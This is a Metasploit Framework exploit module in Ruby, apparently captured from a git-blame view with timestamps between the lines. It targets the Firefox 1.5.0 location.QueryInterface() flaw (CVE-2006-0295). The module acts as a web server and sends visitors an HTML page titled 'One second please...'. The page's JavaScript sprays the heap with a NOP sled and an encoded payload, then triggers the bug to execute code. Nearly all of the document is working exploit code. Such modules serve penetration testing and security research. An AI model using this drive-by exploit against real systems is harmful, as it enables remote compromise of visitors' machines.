2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-04-04 04:37:30 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-03-09 17:32:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Multi::Browser::Firefox_QueryInterface < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
#
|
|
|
|
# This module acts as an HTTP server
|
|
|
|
#
|
2006-12-10 03:26:53 +00:00
|
|
|
include Exploit::Remote::HttpServer::HTML
|
2006-03-09 17:32:53 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-07-31 02:50:41 +00:00
|
|
|
'Name' => 'Firefox location.QueryInterface() Code Execution',
|
2006-03-09 17:32:53 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a code execution vulnerability in the Mozilla
|
|
|
|
Firefox browser. To reliably exploit this vulnerability, we need to fill
|
|
|
|
almost a gigabyte of memory with our nop sled and payload. This module has
|
|
|
|
been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
|
|
|
|
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2006-05-06 16:43:45 +00:00
|
|
|
'Author' => ['hdm'],
|
2006-03-09 17:32:53 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2006-0295'],
|
|
|
|
['BID', '16476'],
|
|
|
|
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000 + (rand(256).to_i * 4),
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Firefox 1.5.0.0 Mac OS X',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
[ 'Firefox 1.5.0.0 Linux',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 02 2006'
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
2006-03-09 17:32:53 +00:00
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
2006-03-12 02:06:57 +00:00
|
|
|
def generate_html(payload)
|
2006-03-09 17:32:53 +00:00
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
|
2006-03-09 17:32:53 +00:00
|
|
|
|
|
|
|
return %Q|
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<title>One second please...</title>
|
|
|
|
<script language="javascript">
|
|
|
|
|
|
|
|
function BodyOnLoad() {
|
|
|
|
h = FillHeap();
|
|
|
|
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
|
|
|
|
};
|
|
|
|
|
|
|
|
function FillHeap() {
|
|
|
|
// Filler
|
|
|
|
var m = "";
|
|
|
|
var h = "";
|
|
|
|
var a = 0;
|
|
|
|
|
|
|
|
// Nop sled
|
|
|
|
for(a=0; a<(1024*256); a++)
|
|
|
|
m += unescape("#{enc_nops}");
|
|
|
|
|
|
|
|
// Payload
|
|
|
|
m += unescape("#{enc_code}");
|
|
|
|
|
|
|
|
// Repeat
|
|
|
|
for(a=0; a<1024; a++)
|
|
|
|
h += m;
|
|
|
|
|
|
|
|
// Return
|
|
|
|
return h;
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body onload="BodyOnLoad()">
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|